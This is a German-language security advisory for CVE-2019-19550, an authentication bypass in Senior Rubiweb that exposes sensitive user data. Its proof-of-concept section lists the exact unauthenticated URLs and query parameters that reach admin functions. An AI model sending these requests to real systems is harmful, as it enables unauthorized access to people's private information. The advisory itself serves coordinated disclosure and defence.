CVE-2019-19550

---

[Beschreibung]

Die Umgehung der Remote-Authentifizierung in Senior Rubiweb 6.2.34.28 und 6.2.34.37 ermöglicht Admin-Zugriff auf sensible Informationen der betroffenen Benutzer, die verwundbare Versionen verwenden. Der Angreifer muss lediglich die korrekte URL angeben.

---

[Wichtige Termine]

• Ankündigung (an den Hersteller): 2019-12-02
• Datum der öffentlichen Offenlegung: 2020-01-30

---

[Schwachstellentyp]

Fehlerhafte Zugriffskontrolle

---

[Hersteller des Produkts]

Senior

---

[Betroffene Produktcodebasis]

• Rubiweb - 6.2.34.37
• Rubiweb - 6.2.34.28
• Andere Versionen können betroffen sein, insbesondere in derselben Familie (noch nicht getestet)

---

[Betroffene Komponente]

Rubiweb

---

[Angriffsart]

Remote

---

[Auswirkung: Informationsoffenlegung]

Ja

---

[Angriffsvektoren]

Der Zugang zu sensiblen Informationen ist ohne besondere Anforderungen öffentlich verfügbar (nur der korrekte URI ist erforderlich)

---

[Hat der Hersteller die Schwachstelle bestätigt oder anerkannt?]

Ja

---

[PoC - Proof of Concept]

1. Versuchen Sie einfach, sich mit dem authentifizierten Portal zu verbinden, um die Existenz und Version des betroffenen Produkts zu bestätigen:
   • hXXp://subdomain.customer.tld:8080/rubiweb/
2. Rufen Sie die verwundbare Seite auf (Admin ohne Authentifizierung):
   • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=EXESENHA&SIS=FP&LOGINKIND=1
   • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=ENTRANCEREL&SIS=FP&NOME=FPIN103.ANU

---

[Entdecker]

Mauricio Santos (R&D UnderProtection) und Hesron Hori (R&D UnderProtection) und @redteambrasil

---

[Dank an]

Senior - Informationssicherheitsteam des Herstellers, das an einer koordinierten Offenlegung mitgewirkt hat

---

[Referenzen]

• https://www.underprotection.com.br
• https://documentacao.senior.com.br/tecnologia/6.2.34/index.htm
• https://documentacao.senior.com.br/tecnologia/6.2.34/index.htm#central-de-configuracao/CfgWebApplicationsForm.htm%23CfgWebApplicationsForm_edtUserName